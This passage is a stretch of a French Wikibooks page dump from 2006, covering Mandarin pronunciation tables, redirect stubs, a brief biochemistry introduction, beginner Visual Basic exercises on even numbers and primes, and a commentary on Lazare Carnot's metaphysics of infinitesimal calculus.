syllable.) # If it follows a fourth-tone syllable, then the toneless syllable is low, as if the fall of the fourth-tone continues right into it. (Say ''Stop!!!'' with a break in the middle: ''Sto-op!''. That's a fourth-tone syllable plus a toneless syllable.) {{Chinese Intro TOC}} {{Chinese (Mandarin)TOC}} Chinese/Pronunciation of des initiales 8082 40459 2006-04-17T21:05:45Z Greudin 1 [[Chinese/Pronunciation of des initiales]] déplacé vers [[Chinois/Prononciation des initiales]]: francisé #REDIRECT [[Chinois/Prononciation des initiales]] Chimie Organique I 8086 40469 2006-04-17T21:20:04Z Greudin 1 [[Chimie Organique I]] déplacé vers [[Chimie organique I]] #REDIRECT [[Chimie organique I]] Chimie Organique II 8087 40471 2006-04-17T21:22:37Z Greudin 1 [[Chimie Organique II]] déplacé vers [[Chimie organique II]] #REDIRECT [[Chimie organique II]] Bases de Chimie Organique 8088 40473 2006-04-17T21:23:12Z Greudin 1 [[Bases de Chimie Organique]] déplacé vers [[Bases de chimie organique]] #REDIRECT [[Bases de chimie organique]] Chinese/Les tons 8092 40481 2006-04-17T21:33:30Z Greudin 1 [[Chinese/Les tons]] déplacé vers [[Chinois/Les tons]] #REDIRECT [[Chinois/Les tons]] Chimie Biologique, interface Chimie-Biologie, Bioscience 8096 40519 2006-04-18T11:48:00Z Phil37 1378 /* Les biomolécules */ == Introduction == La chimie biologique est la chimie en relation avec le vivant. Par exemple, les chimistes synthétisent des molécules et étudient leurs intéractions avec certaines enzymes ou des brins d'ADN, importants pour le fonctionnement d'un organisme particulier. Des antibiotiques, des anti-viraux ou des anti-cancereux peuvent être ainsi conçus. == Les biomolécules== * Les L-alpha-acides aminés [http://fr.wikipedia.org/wiki/Acides_aminés réf Wikipédia] Il est important de noter que les acides aminés naturels, qui sont responsables de la vie, sont exclusivement lévogyre. Autrement dit ils font tourner le plan de polarisation, d'une lumière polarisée, vers la gauche. Ne pas pas confondre avec les normes S et R qui informent sur la stéréochimie du centre asymérique. * Les biopolymers 1. ADN, ARN : structure & réactivité 2. Protéines : structure & réactivité [http://fr.wikibooks.org/wiki/Wikiversité:Faculté_de_Chimie Acceuil de faculté de chimie] TP Visual Basic 8100 43062 2006-05-23T22:14:45Z 196.206.94.85 /* Travaux Pratique N°5 */ Introduction ==Travaux Pratique N°1== Construire une application conforme au modèle ci dessous permettent de démontrer si un nombre entier saisi est pair ou impair. [[Image:ttp1.jpg|200px|left]] {{Boîte déroulante|titre=Voir Solution|contenu=Solution TP N°1:... INDICATION: * Commencer un nouveau projet. L’idée du projet est saisir un nombre dans une zone de saisie et d’afficher le résultat dans un label après un click sur le Bouton. * Placer deux contrôles label, un textbox et un bouton de commande Dans notre projet un click sur le bouton de commande btnverifier exécute un code qui vérifie la parité du nombre saisie dans l’objet textsaisie . Donc l’évènement est le click de btnverifier. D’où le code correspondant : <pre> Private Sub btnverifier_Click() Dim a As Integer a = Val(txtsaisie) b = a Mod 2 If b = 0 Then lblresultat.Caption = "Le nombre " & a & " est pair" Else lblresultat.Caption = "Le nombre " & a & " est impair" End If End Sub </pre> }} ==Travaux Pratique N°2== Construire une application conforme au modèle ci dessous permettent de démontrer si un nombre entier saisi est premier. [[Image:ttp2.jpg|200px|left]] {{Boîte déroulante|titre=Voir Solution|contenu=Solution TP N°1:... INDICATION: * Commencer un nouveau projet. L’idée du projet est saisir un nombre dans une zone de saisie et d’afficher sa primalité dans un label après un click sur le Bouton. * Placer deux contrôles label, un textbox et un bouton de commande Dans notre projet un click sur le bouton de commande exécute un code qui vérifie la primalité du nombre saisie dans l’objet textsaisie . Donc l’évènement est le click . D’où le code correspondant : D’où le code correspondant : <pre> Private Sub Cmd1_Click() Dim N, m, c N = Val(Text1) m = Int(Sqr(N)) If N = 2 Or N = 3 Or N = 1 Then lbl3.Caption = N & " EST PREMIER" End If For i = 2 To m c = N Mod i If c = 0 Then lbl3.Caption = N & " N'EST PAS PREMIER" Exit For Else End If lbl3.Caption = N & " EST PREMIER" Next i End Sub </pre> }} ==Travaux Pratique N°3== [[Image:ttp3.jpg|200px|left]] {{Boîte déroulante|titre=Voir Solution|contenu=Solution TP N°1:... INDICATION: * Commencer un nouveau projet. L’idée du projet est saisir un nombre dans une zone de saisie et d’afficher le résultat dans un label après un click sur le Bouton. * Placer deux contrôles label, un textbox et un bouton de commande Dans notre projet un click sur le bouton de commande btnverifier exécute un code qui vérifie la parité du nombre saisie dans l’objet textsaisie . Donc l’évènement est le click de btnverifier. D’où le code correspondant : <pre> Private Sub btnverifier_Click() Dim a As Integer a = Val(txtsaisie) b = a Mod 2 If b = 0 Then lblresultat.Caption = "Le nombre " & a & " est pair" Else lblresultat.Caption = "Le nombre " & a & " est impair" End If End Sub </pre> }} ==Travaux Pratique N°4== [[Image:ttp4.jpg|200px|left]] {{Boîte déroulante|titre=Voir Solution|contenu=Solution TP N°1:... INDICATION: * Commencer un nouveau projet. L’idée du projet est saisir un nombre dans une zone de saisie et d’afficher le résultat dans un label après un click sur le Bouton. * Placer deux contrôles label, un textbox et un bouton de commande Dans notre projet un click sur le bouton de commande btnverifier exécute un code qui vérifie la parité du nombre saisie dans l’objet textsaisie . Donc l’évènement est le click de btnverifier. D’où le code correspondant : <pre> Private Sub btnverifier_Click() Dim a As Integer a = Val(txtsaisie) b = a Mod 2 If b = 0 Then lblresultat.Caption = "Le nombre " & a & " est pair" Else lblresultat.Caption = "Le nombre " & a & " est impair" End If End Sub </pre> }} ==Travaux Pratique N°5== ==Travaux Pratique N°6== ==Travaux Pratique N°7== ==Travaux Pratique N°8== ==Travaux Pratique N°9== ==Travaux Pratique N°10== Chinois/Pronunciation of des initiales 8101 40608 2006-04-20T20:10:26Z Zj 125 {{Chinese Intro TOC}} {{Chinese (Mandarin)TOC}} ---- ==Pronunciation of initials== {| class="wikitable" style="font-size: 95%" !'''Pinyin'''||'''[[w:International Phonetic Alphabet|IPA]]'''||'''Explication'''||'''Exemples'''||'''enregistrement''' |- ||''b''|| {{IPA|[p]}}|| P aspiré '''p''', comme dans '''p'''orte|| 宝贝,baobei, trésor, chéri|| |- ||''p''|| {{IPA|[pʰ]}}|| P expiré, comme dans "sou'''p'''e". ||炮弹, Pàodàn Bombe|| |- ||''m''|| {{IPA|[m]}}|| comme en français||马车, Ma che, char a cheval|| |- ||''f''|| {{IPA|[f]}}|| comme en français||发财,Facai, faire fortune|| |- ||''d''|| {{IPA|[t]}}|| '''t''' aspiré, comme dans'''t'''ête||伟大, Weida, grand|| |- ||''t''|| {{IPA|[tʰ]}}|| '''t''' souflé, comme dans tê'''t'''e||太平, Taiping, Paix|| |- ||''n''|| {{IPA|[n]}}|| commen en français avant une foyelle||男人 Nanren, Homme|| |- ||''l''|| {{IPA|[l]}}|| comme en français ||老人'''L'''aoren, villeillqrd|| |- ||''g''|| {{IPA|[k]}}|| non aspiré, comme dans "Don'''que''' fais-tu?"||格式 Geshi, format|| |- ||''k''|| {{IPA|[kʰ]}}|| K aspiré, comme dans don'''c'''||客人,keren, l'invité|| |- ||''h''|| {{IPA|[x]}}|| comme en Anglais '''h''' ||喝水,boire de l'eau|| |- ||''j''|| {{IPA|[tɕ]}}|| comme "q", mais nonaspiré. comme quand vous prononcer le nom anglais "'''J'''ob", ba'''dge''', mais juste avec la partie devant du palais. ||教堂, Jiaotang, Eglise; 家,jia, Maison ou famille|| |- ||''q''|| {{IPA|[tɕʰ]}}|| comme '''ch'''urch en anglais||生气,shengqi, en colère|| |- ||''x''|| {{IPA|[ɕ]}}|| Comme i'''ch''' en allemand. La place de la langue se place entre les dents devant(comme dans "s"ud) et le haut du palais (comme dans "che"). ||小孩,xiaohai, Petit enfant|| |- ||''zh''|| {{IPA|[tʂ]}}|| comme '''ch''' sans aspiration (comme la différente entre "t" et "d"). comme quand vous prononcez "'''J'''ob", mais avec seulement la pointe de la langue".||着火,zhaohuo, prendre feu|| |- ||''ch''|| {{IPA|[tʂʰ]}}|| "Zh" nonaspiré. ||吃饭,chifan, manger; 吵架,chaojia, disputer|| |- ||''sh''|| {{IPA|[ʂ]}}|| "comme vâ'''che'''" en français.||沙漠,shamo, désert|| |- ||''r''|| {{IPA|[ɻ]}}|| "comme "'''G'''eorges" ou "'''J'''acques"||日, r(i),soleil; 热情,reqing, sympathique|| |- ||''z''|| {{IPA|[ts]}}|| '''c''' non aspiré, entre '''ds''' et '''ts''', comme "'''Ts'''ar", il peut se prononcer simplement '''ds'''. ||早晨,zaochen, matin; 做爱,zuo'ai, faire l'amour|| |- ||''c''|| {{IPA|[tsʰ]}}|| comme '''ts'''ar, mais non aspiré||小草,xiaocao, petite herbe; 次, ci, une fois|| |- ||''s''|| {{IPA|[s]}}|| comme en français '''s'''ourd, '''s'''a. ||拉萨,lasa, Lasa, capitale de la Région autonome du Tibet; 苏州,suwhou, capitale de la province du Jiansu, proche de Shanghai|| |} {{Chinese Intro TOC}} {{Chinese (Mandarin)TOC}} Chinois/Prononciation des finales 8102 40630 2006-04-21T13:14:48Z Greudin 1 [[Chinois/Pronunciation des Finales]] déplacé vers [[Chinois/Prononciation des finales]]: s/u/o s/maj/minus ==Pronunciation of finals== =Principe= - La '''Durée''' d'une voyelle simple ou combinée, souvent appelée "finale" joue un rôle capital dans la langue chinoise. Ce rôle est néanmoins fondamentalement différent de celui en anglais et celui en Français. Dans tous les deux cas, la durée d'une voyelle ne sert pas à la distinction d'un mot à l'autre, mais simplement à faire entendre clairement un son, ou l'évolution d'un son (l'''a'''te en anglais s'évolue de "E" à "i", c'est pas le cas en français), en français elle ne sert qu'à embellir la langue. Dans la langue chinoise, la durée d'une foyelle ne sert non plus à distinguer un son à un autre, comme en français, mais elle est indispensable pour distinguer un ton à un autre. Les quatre tons, à l'exeption du premier ton qui est plat, signifient toujours une évolution de la hauteur du son. Cette évolution ne peut pas s'exprimer sans une durée. {| class="wikitable" style="font-size: 95%" !'''Pinyin'''||'''[[w:International Phonetic Alphabet|IPA]]'''||'''Finale-formes'''||'''Explanation'''||'''Exemples''' |- ||''a''|| {{IPA|[ɑ]}} ||'''a'''|| comme P'''a'''p'''a''', J'''a'''cques||爸爸, baba, papa |- ||''o''|| {{IPA|[uɔ]}} ||'''o'''|| comme "o" dans "S'''o'''mmes")||我, Wo, moi |- ||''e''|| {{IPA|[ɤ]}}, {{IPA|[ə]}} Quand le ||'''e'''|| se trouve tout seul avec une consonne devant ou pas, il se prononce comme le son final du mot "le". Pourtant dans une combinaison de sorte "ie", "üe", when occurring at the end of a syllable and not in the combinations of ie, üe, ue, then a backward, unrounded vowel, which can be formed by first pronouncing a plain continental "o" ([[w:Australian English|AuE]] and [[w:New Zealand English|NZE]] l'''aw''') and then spreading the lips without changing the position of the tongue. That same sound is also similar to English "d'''uh'''", but not as open. Many unstressed syllables in Chinese use the [[w:schwa|schwa]] (ide'''a'''), and this is also written as ''e''.||快乐 |- ||''ê''|| {{IPA|[ɛ]}} ||(n/a)|| as in "b'''e'''t". Only used in certain interjections. |- ||''ai''|| {{IPA|[aɪ]}} ||'''ai'''|| like English "eye", but a bit lighter||爱情 |- ||''ei''|| {{IPA|[ei]}} ||'''ei'''|| as in "h'''ey'''"||累了 |- ||''ao''|| {{IPA|[ɑʊ]}} ||'''ao'''|| approximately as in "c'''ow'''"; the ''a'' is much more audible than the ''o'' ||大小 |- ||''ou''|| {{IPA|[ou̯]}} ||'''ou'''|| as in "s'''o'''" ||欧洲 |- ||''an''|| {{IPA|[an]}} ||'''an'''|| starts with plain continental "a" ([[w:Australian English|AuE]] and [[w:New Zealand English|NZE]] b'''u'''d) and ends with "n"||安全 |- ||''en''|| {{IPA|[ən]}} ||'''en'''|| as in "tak'''en'''"||很好 |- ||''ang''|| {{IPA|[ɑŋ]}} ||'''ang'''|| as in German ''Angst'', including the English loan word ''angst'' (starts with the vowel sound in f'''a'''ther and ends in the [[w:velar nasal| velar nasal]]; like s'''ong''' in American English)||波浪 |- ||''eng''|| {{IPA|[ɤŋ]}} ||'''eng'''||like ''e'' above but with ng added to it at the back||冷热 |- ||''er''|| {{IPA|[aɻ]]}} ||'''er'''|| like ''ar'' (exists only on own, or as last part of final in combination with others- see bottom of list) ||耳朵,花儿 |- ||''i''|| {{IPA|[i]}} ||'''yi'''|| like English "ee", except when preceded by "c", "ch", "r", "s", "sh", "z" or "zh"; in these cases it should be pronounced as a natural extension of those sounds in the same position, but slightly more open to allow for a clear-sounding vowel to pass through||笔记 |- || ''ia'' || {{IPA|[iɑ]}} ||'''ya'''|| as '''i''' + '''a'''; like English "'''ya'''rd" ||亚洲 |- || ''io'' || {{IPA|[iou̯]}} ||'''yo'''|| as '''i''' + '''o'''; like English slang "'''yo'''"; (you will only see this as in final-only form "'''yo'''" |- ||''ie''|| {{IPA|[iɛ]}} ||'''ye'''|| as '''i''' + '''ê'''; but is very short; ''e'' (pronounced like ''ê'') is pronounced longer and carries the main stress (similar to the initial sound '''ye''' in '''yet''')||树叶 |- || ''iai'' || {{IPA|[iɑ]}} ||'''yai'''|| as '''i''' + '''ai'''; like "'''yi'''" in "'''yikes'''"; (you will only see this as in final-only form "'''yai'''" |- ||''iao''|| {{IPA|[iɑʊ]}} ||'''yao'''|| as '''i''' + '''ao'''||要 |- ||''i(o)u''|| {{IPA|[iou̯]}} ||'''yuo'''|| as '''i''' + '''ou''' |- ||''ian''|| {{IPA|[iɛn]}} ||'''yian'''|| as '''i''' + '''an'''; like English '''yen'''||抽烟 |- ||''in''|| {{IPA|[̯iən]}} ||'''yin'''|| as '''i''' + '''en'''||森林 |- ||''iang''|| {{IPA|[iɑŋ]}} ||'''yang'''|| as '''i''' + '''ang'''||明亮 |- ||''ing''|| {{IPA|[iɤŋ]}} ||'''ying'''|| as '''i''' + '''eng'''||安静 |- ||''u''|| {{IPA|[u]}} ||'''wu'''|| like English "oo"||乌鸦 |- ||''ua''|| {{IPA |[ua]}} ||'''wa'''|| as '''u''' + '''a''' ||娃娃 |- ||''uo''|| {{IPA|[uɔ]}} ||'''wo'''|| as '''u''' + '''o'''; the ''o'' is pronounced shorter and lighter than in the ''o'' final||我 |- ||''uai''|| {{IPA|[uaɪ]}} ||'''wai'''|| as '''u''' + '''ai'''||奇怪 |- ||''ui''|| {{IPA|[ueɪ]}} ||'''wei'''|| as '''u''' + '''ei'''; here, the ''i'' is pronounced like ''ei''||威胁 |- ||''uan''|| {{IPA|[uan]}} ||'''wan'''|| as '''u''' + '''an'''||千万 |- ||''un''|| {{IPA|[uən]}} ||'''wen'''|| as '''u''' + '''en'''; like the ''on'' in the English ''won''||温暖 |- ||''uang''|| {{IPA|[uɑŋ]}} ||'''wang'''|| as '''u''' + '''ang'''; like the ''ang'' in English ''angst'' or ''anger''||忘记 |- ||''ong''|| {{IPA|[uɤŋ]}} ||'''weng'''|| as '''u''' + '''eng'''; starts with the vowel sound in b'''oo'''k and ends with the velar nasal sound in si'''ng'''||龙 |- ||''ü''|| {{IPA|[y]}} ||'''yu'''|| as in German "'''ü'''ben" or French "l'''u'''ne" (To get this sound, say "ee" with rounded lips)||雨 |- ||''üe''|| {{IPA|[yɛ]}} ||'''yue'''|| as '''ü''' + '''ê'''; the ''ü'' is short and light||月亮 |- ||''üan''|| {{IPA|[yan]}} ||'''yuan'''|| as '''ü''' + '''an'''; ||圆月 |- ||''ün''|| {{IPA|[yən]}} ||'''yun'''|| as '''ü''' + '''en'''; ||云雨 |- ||''iong''|| {{IPA|[yɤŋ]}} ||'''yong'''|| as '''ü''' + '''eng'''; ||永远 |} {| class="wikitable" style="font-size: 95%" |- ! colspan=3 | Finals that are a combination of finals above + '''er''' final |- !'''Pinyin'''||'''[[w:International Phonetic Alphabet|IPA]]'''||'''Explanation''' |- | er || {{IPA|[ɤɻ]}} || Comme "e" + "r" à l'américaine (work'''er'''); à ne pas confondre avec le "er" indépendant. Cette forme s'écrit "儿" en caractère et "r" attaché à la lettre précédente, mais se prononce à peine et se relie étroitement à la voyelle précédent. Il faut faire attention, sa prononciation se transforme selon le son devant. Cette forme est principalement utilisé en diminutif. Elle peut se superposer à "小", qui signifie petite. Le cas est similaire à l'expression "petit chaperon rouge": la forme "ron" (diminutif) "petit" se superpose à l'adjectif "petit". |- | or || {{IPA|[uɔɻ]}} || as '''o''' + '''er''' ||骡儿 |- | air || {{IPA|[aɪɻ]}} || as '''ai''' + '''er'''||一块儿 |- | aor || {{IPA|[ɑʊɻ]}} || as '''ao''' + '''er'''||好好儿,小鸟儿 |- | our || {{IPA|[ou̯ɻ]}} || as '''ou''' + '''er'''||小狗儿 |- | anr || {{IPA|[ɑnɻ]}} || as '''an''' + '''er'''||官儿 |- | angr || {{IPA|[ɑŋɻ]}} || as '''ang''' + '''er'''|| |- | ir || {{IPA|[iɻ]}} || as '''i''' + '''er'''||小鸡儿 |- | iar || {{IPA|[iɑɻ]}} || as '''ia''' + '''er'''||王小丫儿 |- | ianr ||{{IPA|[iɛnɻ]}} || as '''ian''' + '''er'''||小脸儿 |- | inr || {{IPA|[iənɻ]}} || as '''in''' + '''er'''||树林儿 |- | ingr || {{IPA|[iɤŋɻ]}} || as '''ing''' + '''er'''||玲儿 |- | ur || {{IPA|[uɻ]}} || as '''u''' + '''er'''||葫芦儿 |- | uor || {{IPA|[uɔɻ]}} || as '''uo''' + '''er'''||鸟窝儿 |- | uir || {{IPA|[ueɪɻ]}} || as '''ui''' + '''er'''||小米儿 |- | ongr || {{IPA|[uɤŋɻ]}} || as '''ong''' + '''er'''||宠儿/小虫儿 |- | ür || {{IPA|[yɻ]}} || as '''ü''' + '''er'''||小鱼儿 |} {{Chinese Intro TOC}} {{Chinese (Mandarin)TOC}} Catégorie:Droit 8103 40615 2006-04-21T09:32:24Z Pseudomoi 395 +sisterlinks {{Sisterlinks|Category:Law}} [[Catégorie:Science]] Image:Ttp1.JPG 8104 40619 2006-04-21T10:32:05Z Fyoula 1322 Tp Visual BASIC Tp Visual BASIC Image:Ttp1.jpg 8105 40622 2006-04-21T10:41:43Z Fyoula 1322 Tp VB Tp VB Chinois/Pronunciation des Finales 8106 40631 2006-04-21T13:14:48Z Greudin 1 [[Chinois/Pronunciation des Finales]] déplacé vers [[Chinois/Prononciation des finales]]: s/u/o s/maj/minus #REDIRECT [[Chinois/Prononciation des finales]] Étude de l'oeuvre mathématique de Lazare Carnot 8109 42020 2006-05-12T08:17:43Z 82.239.137.67 Cet article présente les parties I à XVIII. Pour la suite de l'ouvrage, voir liens. Au début de son ouvrage Carnot donne la principale raison pour laquelle il écrit ses réflexions. Avec la révolution, les unités de mesure étant établi et standardisés une fois pour tout, la science et les techniques prenaient un nouveau départ et de ce fait, de nouveaux champs dans les mathématiques commençaient à voir le jour. Pour Carnot il était clair que le calcul différentiel et intégral seraient à la base du progrès et par conséquent il décida de d’écrire un mémoire qui expliquerait, en tout honnêteté, ce qu’est le calcul infinitésimal et comment il faut le comprendre. ''« (...) mais comme tout annonce que la culture des mathématiques va reprendre un nouvel essor, on a pensé qu’il pourrait être utile de faire connaître un mémoire où la '''métaphysique''' du calcul différentiel est discutée avec étendue et précision, et où sont rapprochés les divers points de vue sous lesquels on a présenté cette méthode. »'' page 4 '''Partie I''' [[image: CI2.JPG|thumb|300px|right|Qu’est-ce que le CI ?]] L’importance du calcul infinitésimal ne réside pas seuleument dans la méthode de calcul très commode car il peut aussi se transformer en une méthode d’analyse des phénomènes naturels et virtuels. L’étonnement vient en fait de la grandeur insignifiante qui entre dans le calcul et dont on n’est jamais sur si elle a disparue ou pas. Par conséquent, pour Carnot, la question peut être posée ainsi : est-ce sa propriété que d’être les deux à la fois ? Ce qui expliquerait sa métaphysique qui lui permet d’échapper aux sens et à l’imagination. ''« '''Il n’est aucune découverte qui ait produit dans les sciences mathématiques une révolution aussi heureuse et aussi prompte que celle de l’analyse infinitésimale''' ; aucune n’a fourni des moyens plus simples ni plus efficaces pour pénétrer dans la connaissance des lois de la nature. En décomposant, pour ainsi dire, les corps jusque dans leurs éléments, elle semble en avoir indiqué la structure intérieure et l’organisation ; mais comme ce qui est extrême échappe aux sens et à l’imagination, on n’a jamais pu se former qu’une idée imparfaite de ces éléments, espèces d’êtres singuliers, qui, tantôt jouent le rôle de véritables quantités, tantôt doivent être traités comme absolument nuls, et semble par leurs propriétés équivoques, '''tenir le milieu entre la grandeur et le zéro, entre l’existence et le néant'''.»'' page 5-6 [[image: CI3.JPG|thumb|300px|left|Qu’est-ce que le CI ?]] Ensuite Carnot explique ce qu’il entend par le terme « infiniment petit » et il ajoute que l’idée d’une quantité infinitésimale est beaucoup plus appropriée pour la théorie que celle de la limite. ''"(*)Je parle ici conformément aux idées vagues qu’on se fait communément des quantités infinitésimales, lorsqu’on n’a pas pris la peine d’en examiner la nature ; mais, dans le vrai, rien n’est plus simple que la notion de ces quantités. En effet dire d’une quantité qu’elle est infiniment petite, c’est précisément dire qu’elle est la différence de deux grandeurs qui ont pour limite une même troisième grandeur et rien de plus. L’idée d’une quantité infinitésimale n’est donc pas plus difficile à saisir que celle d’une limite ; mais elle a de plus, comme tout le monde en convient, l’avantage de conduire à une théorie beaucoup plus simple."''page 6 Mais il a toujours le souci d'une explication correcte et compréhensible sans entrer dans les débats inutiles et sans oublier son objectif qui est de présenter, à son lecteur, le calcul infinitésimal. ''« Mon but dans cet écrit est de rapprocher les différents points de vue, d’en montrer les rapports, et d’en proposer de nouveaux ; je me croirai bien récompensé de mon travail si j’ai pu réussir à jeter quelques lumières sur un sujet si intéressant.»''Page 7 '''Partie II''' Par exemple le calcul intégral ressemble assez à la méthode de calcul de la surface d’un cercle. Peut-être que l’idée venait de là ? L’inconvénient à l’application d’un calcul se basant sur ce genre de méthode venait de l’incohérence entre le but recherché et la méthode à adopter. C’est-à-dire, comment faire sortir une solution juste et précis avec un calcul se basant sur l’approximation qui induit nécessairement qu’il y’a une quantité négligé ? Le calcul de la surface d’un cercle est très représentatif de la méthode à adopter mais ce n’est pas encore l’analyse infinitésimale. Cela étant, peut-on le généraliser à toutes les courbes ? [[image: CI1.JPG|thumb|300px|left|Qu’est-ce que le CI ?]] ''« La difficulté qu’on rencontre souvent à exprimer exactement par des équations les différentes conditions, a pu faire naître les premières idées du calcul infinitésimal. Lorsqu’il est trop difficile, en effet, de trouver la solution exacte d’une question, il est naturel de chercher au moins à en approcher le plus qu’il est possible, en négligeant les quantités qui embarrassent les combinaisons, si l’on prévoit que ces quantités négligées ne peuvent, à cause de leur peu de valeur, produire qu’une erreur légère dans le résultat du calcul. C’est ainsi, par exemple, que ne pouvant découvrir qu’avec peine les propriétés des courbes, on aura imaginé de les regarder comme des polygones d’un grand nombre de côtés (…)»'' page 8 Justement cette quantité négligée n’est-elle pas proportionnelle au nombre de côtés ? Donc si nous augmentons le nombre de côtés la quantité tendra vers l’infiniment petit. ''« En outre, chacun des côtés de ce polygone diminue évidemment de grandeur à mesure que le nombre de ces côtés augmente ; et par conséquent, si l’on suppose que le polygone soit réellement composé d’un très grand nombre de côtés, on pourra dire aussi que chacun d’eux est réellement très petit.»'' Page 8-9 En mathématiques, les théorèmes sont rigoureux et ne changent pas alors qu’en sciences physiques les théories peuvent être améliorées car à la fin le dernier mot appartient à l’expérience. Pour cette raison la science doit dire modestement « tout se passe comme si ». C’est aussi, ce que pense Carnot : ''«(...) il est visible que ces deux figures, quoique toujours différentes et ne pouvant jamais devenir identiques, se ressemble cependant de plus en plus (…)»'' ('''Expérience visuelle''') Naturellement si l’erreur est minime, pourquoi ne pas le négliger une ou deux fois ? En science, la précision pouvant être améliorée à l’infini on a bien le droit de s’arrêter à un moment donné. L’utilité de ce genre de calcul n’apparaît que si ce même calcul répond aux besoins courants de l’homme. Voyons ce que dit Carnot : ''« Cela posé, s’il se trouvait par hasard dans le cours d’un calcul une circonstance particulière où l’on pût simplifier beaucoup les opérations en négligeant, par exemple, un de ces petits côtés par comparaison à une ligne donnée, c’est-à-dire, en employant dans le calcul cette ligne donnée au lieu d’une quantité qui serait égale à la somme faite de cette ligne et du petit côté en question, il est clair qu’on pourrait le faire sans inconvénient, car l’erreur qui en résulterait ne pourrait être qu’extrêmement petite, et ne mériterait pas qu’on se mit en peine pour en connaître la valeur. »''page 9 '''Partie III''' [[image: CINF1.JPG|thumb|300px|right|la figure de Carnot]] ''"Par exemple, soit proposé de mener une tangente au point donné M de la circonférence MBD. Soit C le centre du cercle, DCB l’axe ; supposons l’abscisse DP= x, l’ordonné correspondante MP = y, et '''soit TP la sous-tangente cherchée'''. Pour la trouver, considérons le cercle comme un polygone d’un très grand nombre de côtés, soit MN un des côtés, prolongeons le jusqu’à l’axe ; ce sera évidemment la tangente en question, puisque cette ligne pénétrera pas dans l’intérieur du polygone ; abaissons de plus en plus la perpendiculaire MO sur NQ, parallèle à MP, et nommons a le rayon du cercle : cela posé, nous aurons évidemment MO/NO = TP/y."'' ''"D’une autre part, l’équation de la courbe étant pour le point M, y²=2ax-x² elle le sera pour le point N :(y + NO)² = 2a(x + MO) - (x + MO)², ôtant de cette équation la première, trouvée pour le point M, et réduisant, on a MO/NO = (2y + NO) / (2a - 2x – MO²) égalant donc cette valeur de MO/NO à celle qui a été trouvée ci-dessus, et multipliant par y, il vient TP = y(2y + NO) / (2a - 2x – MO²)."'' ''"Si donc MO et NO étaient connues, on aurait la cherchée de TP ; or ces quantités MO, NO sont très petites, puisqu’elles sont moindres chacune que le côté MN, qui, par hypothèse, est lui-même très petit. Donc (II) on peut négliger sans erreur sensible ces quantités par comparaison aux quantités 2y et 2x – 2a auxquelles elles sont ajoutées. Donc l’équation se réduit à TP = y² / (a – x), ce qu’il fallait trouver."'' '''Partie IV''' (On a dû naturellement la regarder d’abord comme une méthode d’approximation) ''Si ce résultat n’est pas absolument exact, il est au moins évident que '''dans la pratique il peut passer pour tel''', (…) mais quelqu’un qui n’aurait aucune idée de la doctrine des infinis serait peut-être fort étonné si on lui disait que l’équation TP = y² / (a – x), non seulement approche beaucoup du vrai, mais est réellement de la plus parfaite exactitude ; (…) ; car il est visible que les triangles semblables CPM, MPT donnent CP/MP = MP/TP d’où l’on tire TP = MP²/CP = y² / (a – x), comme ci-dessus.'' '''Partie V''' ''Le calcul de la surface d’un cercle n’est pas moins exact que le résultat trouvé ci-dessus.'' '''Partie VI''' ''"Ces quantités élémentaires peuvent fournir au calcul des ressources inimaginables : quelques vagues et peu précises que puissent paraître ces deux expressions de '''très grand''' et '''très petit''', (...), on voit …que ce n’est pas sans utilité qu’on les emploie dans les combinaisons mathématiques, et que leur usage peut-être d‘un grand secours pour faciliter la solution des diverses questions qui peuvent être proposées;"'' '''Partie VII'''(On a découvert ensuite que malgrè les erreurs commises dans l’expression des conditions de chaque problème, les résultats étaient néanmoins de la plus parfaite exactitude.) ''"Mais '''l’avantage''' qu’elles procurent est bien plus considérable encore qu’on avait d’abord lieu d’espérer ; car il suit des exemples rapportés que ce qui n’avait été regardé en premier lieu comme une simple méthode d’approximation, conduit au moins dans certains cas, à des résultats parfaitement exacts. Il serait intéressant de savoir distinguer ceux où cela arrive, d’y ramener les autres autant qu’il est possible, et de changer ainsi cette méthode d’approximation en un calcul parfaitement exact et rigoureux. Or, tel est l’objet de l’analyse infinitésimale."'' '''Partie VIII''' ''"Or, on peut rendre fort simplement raison de ce qui est arrivé dans la solution du problème traité ci-dessus, en remarquant que l’hypothèse d’où l’on est parti étant fausse, '''puisqu’il est absolument impossible qu’un cercle puisse être jamais considéré comme un vrai polygone''', quel que puisse être le nombre de ses côtés, il a dû résulter de cette hypothèse une erreur quelconque dans l’équation TP = y(2y + NO) / (2a - 2x – MO²) et que le résultat TP = y² / (a - x) étant néanmoins certainement exact, comme on le prouve par la comparaison des deux triangles CPM, MPT, on a pu négliger MO et NO dans la première équation, et même on a dû le faire pour rectifier le calcul et détruire l’erreur à laquelle avait donné lieu la fausse hypothèse d’où l’on est parti. Négliger les quantités de cette nature est donc non seulement permis en pareil cas mais il le faut et c’est la seule manière d’exprimer exactement les conditions du problème."'' '''Partie IX''' (Ces résultats ne sont exactes que par compensations d’erreurs) ''"Le résultat exact TP = y²/( a – x) n’a donc été obtenu que par compensation d’erreurs ; et cette compensation peut-être rendue plus sensible encore en traitant l’exemple rapporté ci-dessus d’une manière un peu différente, c’est-à-dire, en considérant le cercle comme une véritable courbe et non comme un polygone."'' [[image: CINF2.JPG|thumb|300px|right|la figure de Carnot-2]] ''"Pour cela, par un point R, pris arbitrairement à une distance quelconque du point M, soit menée la ligne RS parallèle à MP et par les points R et M soit tirée la sécante RT’ ; nous aurons évidemment T’P/ MP = MZ/RZ, et partant T’P, ou TP + TT = MP (MZ/RZ). Cela posé, si nous imaginions que RS se meuve parallèlement à elle-même en s’approchant continuellement de MP, il est visible que le point T’ s’approchera en même temps de plus en plus du point T, et qu’on pourra par conséquent rendre la ligne T’T aussi petite qu’on voudra sans que la proportion établi ci-dessus cesse d’avoir lieu."'' ''"Si donc je néglige cette quantité T’T dans l’équation que je viens de trouver, il en résultera à la vérité une erreur dans l’équation TP = MP (MZ/RZ) à laquelle la première sera alors réduite ; mais cette erreur pourra être atténuée autant qu’on le voudra en faisant approcher autant qu’il sera nécessaire RS de MP : c’est-à-dire que le rapport des deux membres de cette équation différera aussi peu qu’on voudra du rapport d’égalité."'' ''"Pareillement nous avons MZ/RZ = (2y + RZ) / (2a – 2x – MZ) (III) et cette équation est parfaitement exacte, quelle que soit la position du point R, c’est-à-dire, quelles que soient les valeurs de MZ et de RZ. Mais plus RS rapprochera de MP, plus ces lignes MZ et RZ seront petites ; et partant, si on les néglige dans le second membre de cette équation, l’erreur qui en résultera dans l’équation MZ/RZ = y/(a- x) à laquelle elle sera réduite alors, pourra comme la première, être rendue aussi petite qu’on le jugera à propos."'' ''"Cela étant, sans avoir égard à des erreurs que je serai toujours maître d’atténuer autant que je le voudrai, je 